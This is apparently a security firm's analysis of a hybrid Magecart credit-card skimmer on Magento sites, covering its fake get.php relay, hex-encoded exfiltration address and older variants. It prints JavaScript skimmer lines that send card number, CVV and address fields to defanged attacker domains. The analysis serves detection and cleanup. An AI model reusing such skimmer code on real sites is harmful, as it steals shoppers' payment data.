Though popular with bad actors, one of the drawbacks of this approach is that it’s possible to track requests to suspicious servers if you monitor the traffic generated by checkout pages — or any other infected pages.
A lesser-known, but still very popular, type of skimmer can instead be found harvesting information server-side. For example, when hackers modify one of the core Magento PHP files or payment module files that initially get the payment data from the checkout form. In such files, if an attacker adds a few lines of code, they’ll be able to redirect the customer information to a downloadable static file, email it, or send it to a third-party server.
In the case of server-side skimmers, the infection is absolutely invisible from the outside. There is, however, one minor issue with this approach: It’s easy to spot modifications in core or known module files.
The server-side PHP scripts which receive the stolen information usually send it to a third-party server, which is not detectable from the outside. The script is created in a new file with a legitimate-looking name, so that it can’t be easily compared with the original codebase. With a bit of effort, attackers can modify their malicious code to look quite natural and may be taken as just some benign customization.
That being said, we do come across hybrid skimmers from time to time. Let’s discuss a real world example of malware employing this approach.
Client-Side of the Hybrid Skimmer
Once deobfuscated, we find that it collects all the usual checkout form data such as credit card number, expiration date, first and last names, etc. However, unlike a typical Magecart script, this skimmer sends the stolen data to a URL on the same site instead of a specialized exfiltration URL on a third-party site.
More specifically, the script creates a new image tag with the src attribute pointing to the /get.php file on the same compromised site. The stolen data is passed along as GET parameters to that image.
Server-Side Part of the Hybrid Skimmer
Of course, that /get.php file has no intention of returning a real image. All it wants to do is obtain the payment details from the GET request whenever a browser tries to load the fake image.
In essence, the get.php file pretends to be a legitimate file. It’s basically an old version of the index.php file from Magento 1.x with just a couple of lines of malicious code added: lines 25 and 35.
Line 35 checks if there is a set “p” parameter of the request, then sends the value of this and the “h” parameters to a third-party exfiltration URL. The address of that exfiltration server is encrypted on line 25.
After the hex2bin decoding, “687474703a2f2f3138352e3131302e3133322e3232302f6c342e7068703f703d” turns into “hxxp://185.110.132[.220/l4.php?p=”.
Previous Variations of Skimmers Used by the Same Bad Actors
Our team also traced more “classical” client-side skimmers back to this same server.
... i=document.createElement('img'); i.src='hxxps://msm.jshost[.]org/l3.php?p=222'+encodeURIComponent('&fln='+fln+'&ct='+ct+'&cn='+cn+'&cem='+cem+'&cey='+cey+'&cvv='+cvv+'&co='+co+'&ci='+ci+'&st='+st+'&ad='+ad+'&cpf='+cpf+'&zp='+zp) ...
An even older (2016) scriptb[.]com version of this skimmer also used the same img trick.
var i = document.createElement('img'); i.src = 'hxxps://scriptb[.]com/l2.php?p=197' + encodeURIComponent('&fln=' + fln + '&ct=' + ct + '&cn=' + cn + '&cem=' + cem + '&cey=' + cey + '&cvv=' + cvv + '&co=' + co + '&ci=' + ci + '&st=' + st + '&ad=' + ad + '&zp=' + zp)
Both jshost[.]org and scriptb[.]com domains pointed to the same 220.127.116.11 server in Russia.
Since 2016, this very server has employed the exact same exfiltration filenames including l.php, l2.php, l3.php, l4.php.
If you try to open the files in a browser, you’ll find a regular 404 page. However, when you request any other URL that really shouldn’t be on the server, you’ll get a slightly different 404 page, proving that the 404 response for these malicious l.php pages is fake.
Web skimmer authors are constantly testing new ways to circumnavigate detection and conceal their malware within compromised systems. To accomplish this and effectively harvest stolen data, one technique has been trending in credit card stealing malware: a hybrid approach, which sends stolen data to their own server-side scripts on the same compromised site.
For webmasters, this means it’s really important that you are thorough during the cleanup process when reviewing and removing malware reported by external scanners. There may be server-side parts of the credit card skimmer still lurking on the site. File system integrity controls can be helpful for locating recently added or modified files.